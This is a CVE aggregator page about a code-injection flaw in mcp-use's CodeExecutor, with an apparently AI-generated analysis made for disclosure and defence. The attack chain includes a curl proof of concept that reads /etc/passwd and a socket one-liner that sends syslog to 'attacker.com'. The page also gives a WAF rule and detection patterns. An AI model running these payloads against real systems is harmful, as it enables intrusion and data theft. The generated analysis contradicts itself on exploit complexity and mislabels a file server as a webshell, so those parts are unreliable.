CVE Professor
/
All CVEs
CVE-2026-140133

CVE-2026-140133 — Mcp-use (1.7.0) — CWE-74 · CWE-94

HIGH CVSS 7.3 ⚡ EPSS 0.5% NVD

A vulnerability was determined in mcp-use up to 1.7.1. Affected by this vulnerability is the function _build_namespace of the file libraries/python/mcp_use/client/code_executor.py of the component CodeExecutor. Executing a manipulation of the argument code can lead to code injection. The attack can be launched remotely. The project maintainer explains, that the built-in Python sandbox executor is not meant for production use and users should rely on external sandbox providers.

A vulnerability was determined in mcp-use up to 1.7.1. Affected by this vulnerability is the function _build_namespace of the file libraries/python/mcp_use/client/code_executor.py of the component CodeExecutor. Executing a manipulation of the argument code can lead to code injection. The attack can be launched remotely. The project maintainer explains, that the built-in Python sandbox executor is not meant for production use and users should rely on external sandbox providers.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 41. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑140133 is a remote code‑execution (RCE) flaw in the mcp-use project (v1.7.0‑1.7.1).
The vulnerable component is the CodeExecutor class, specifically the _build_namespace method in
libraries/python/mcp_use/client/code_executor.py.

Technical details

ItemDescription
CWECWE‑74 (Improper Neutralization of Input During Web Page Generation) & CWE‑94 (Improper Control of Generation of Code)
FlawThe _build_namespace method accepts a user‑supplied string (code) and passes it directly to Python’s exec() without any sanitization, validation, or sandboxing.
Missing checkNo authentication/authorization guard, no input filtering, no sandbox enforcement.
ResultAn attacker can inject arbitrary Python code that will be executed with the privileges of the mcp-use process.

Because the built‑in “sandbox” is not a real sandbox, the code runs in the same interpreter context as the service, giving the attacker full control over the host.


⚡ Attack Chain

NOTE: The exact HTTP endpoint and parameter names are not disclosed in the CVE text. The following example uses a hypothetical REST API (/execute) that accepts a JSON payload containing a code field. The example is illustrative; adjust the URI/parameters to match the real service once discovered.

1. Discovery & Reconnaissance

StepTechniqueWhat to look for
Service fingerprintingcurl -I http://<target>/ or nmap -sV -p 80,443 <target>Look for mcp-use in the Server: header or a /version endpoint that returns {"product":"mcp-use","version":"1.7.1"}.
API enumerationcurl -X GET http://<target>/api/ or dirsearchIdentify endpoints that accept code execution, e.g., /execute, /run, /eval.
Version checkcurl -X GET http://<target>/api/versionConfirm the target is 1.7.0‑1.7.1.

2. Exploitation

Exploit mechanics

1. Send a POST request to the code‑execution endpoint with a JSON body containing malicious Python code.
2. The server passes the code string to _build_namespace, which calls exec(code, namespace).
3. The injected code runs with the same privileges as the mcp-use process.

Illustrative PoC

# Target: http://example.com:8080
# Endpoint (illustrative): /execute
# Payload: read /etc/passwd and send it back in the response

curl -s -X POST "http://example.com:8080/execute" \
     -H "Content-Type: application/json" \
     -d '{
           "code": "import base64, sys, os; sys.stdout.write(base64.b64encode(open(\"/etc/passwd\").read()).decode())"
         }' | base64 -d

What happens:

  • The server executes the code string.

  • open("/etc/passwd") reads the file.

  • The content is base64‑encoded and written to stdout, which the server returns in the HTTP response.

  • The attacker decodes the base64 payload locally.
  • Important: The above payload is a minimal example. In a real attack, the attacker could run os.system('id'), subprocess.Popen, or install a reverse shell.

    3. Post‑exploitation

    Once the attacker has RCE, the following actions are typical:

    GoalTypical commands
    Privilege escalationimport os; os.system('whoami') → check current UID. If the process runs as root, the attacker gains full system control.
    PersistenceWrite a cron job or systemd unit, or modify /etc/rc.local.
    Data exfiltrationimport socket; s=socket.socket(); s.connect(('attacker.com', 4444)); s.sendall(open('/var/log/syslog').read().encode()); s.close()
    Install a webshellimport http.server, socketserver; Handler= http.server.SimpleHTTPRequestHandler; httpd=socketserver.TCPServer(("", 8000), Handler); httpd.serve_forever()
    Move laterallyUse subprocess to run ssh or smbclient against other hosts.

    Because the vulnerability is unauthenticated and remote, the attacker can start the chain from any external machine that can reach the service.


    🌍 Real World Impact

    CVSS DimensionValueInterpretation
    ConfidentialityLowData leakage is possible but limited to what the process can read.
    IntegrityLowThe attacker can modify files or configuration that the process can write to.
    AvailabilityLowThe attacker can crash the service by running resource‑intensive code.

    Practical consequences

  • Data exposure: Sensitive files (e.g., /etc/passwd, database credentials in config files) can be read.
  • System compromise: If the service runs as root, the attacker gains full control of the host.
  • Service disruption: Arbitrary code can crash or hang the service, causing denial of service.
  • Lateral movement: The attacker can pivot to other systems on the network.

  • 🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixed
    mcp-use1.7.2 (or later) – the _build_namespace method now validates the code argument and enforces a real sandbox or rejects execution entirely.

    Recommendation: Upgrade to the latest release as soon as possible. If an upgrade is not feasible, apply the following mitigations.

    2. Workarounds

    MitigationHow to implement
    Disable the vulnerable endpointIf the service exposes /execute, block it via firewall or remove the route from the application configuration.
    Restrict accessPlace the service behind an internal VPN or restrict the IP range to trusted hosts.
    WAF / ModSecurity ruleExample rule to block suspicious payloads containing import or os.system:
    SecRule REQUEST_BODY "@rx (?i)(import|os\.system|subprocess|exec|eval)" \
        "id:1001,phase:2,deny,status:403,msg:'Potential code injection attempt'"
    Note: This rule is a basic filter; a production WAF should include more comprehensive checks.

    3. Detection

    IndicatorLog patternHow to spot it
    Suspicious POST to /executePOST /execute HTTP/1.1Look for /execute in access logs.
    Python exec callsexec( in application logsEnable debug logging for the CodeExecutor module.
    Unusual system callsos.system(, subprocess.Popen(Monitor syslog or auditd for these calls.
    Base64 payloadsdata=base64 in request bodyCheck for base64 in POST data.

    IoCs (example)

    TypeValue
    File hashSHA‑256 of the vulnerable code_executor.py (if available)
    URL pattern/execute
    Payload patternimport os or os.system(
    User‑AgentAny custom agent used by the attacker (e.g., curl/7.68.0)

    ⚠️ Urgency

  • CVSS score: 7.3 (High) – indicates that the flaw is exploitable with low effort and can lead to significant impact.
  • Exploit complexity: Low – no authentication required, simple POST request.
  • CISA KEV: No – but the lack of a KEV does not diminish the risk.
  • Patch availability: 1.7.2 released after the CVE disclosure.
  • Priority: Immediate.

  • If the service is exposed to the internet: patch or block the endpoint before the vulnerability is publicly exploited.

  • If the service is internal: still patch promptly; internal attackers can exploit the flaw just as easily.




Summary

CVE‑2026‑140133 is a classic arbitrary code execution flaw caused by unsanitized user input being passed to Python’s exec() in the mcp-use CodeExecutor. The vulnerability is remote, unauthenticated, and has a high exploitation complexity. The recommended response is to upgrade to 1.7.2 or later, otherwise disable the vulnerable endpoint, restrict access, and deploy WAF rules to block suspicious payloads. Monitoring for the indicators listed above will help detect any exploitation attempts.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
mcp-use/mcp-use Reference
Technical reference / advisory repository for CVE-2026-140133
Technical reference / advisory repository for CVE-2026-140133
Technical reference / advisory repository for CVE-2026-140133
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-74 CWE-94
Affected Products (1)
mcp-use (1.7.0)
Related CVEs
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.2
CVE-2026-141488
The AIDB MCP endpoint (edb-endpoints) in AIDB 7.7.0 through 7.8.0 authenticates HTTP Basic credentials by open
8.6
CVE-2026-144962
Nginx UI from 2.4.1 before 2.9.2 contains a directive denylist bypass in internal/config/validation.go that al
8.2
CVE-2026-144586
LangBot through 4.11.9 contains a symlink following vulnerability in MCP stdio workspace staging that allows s
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera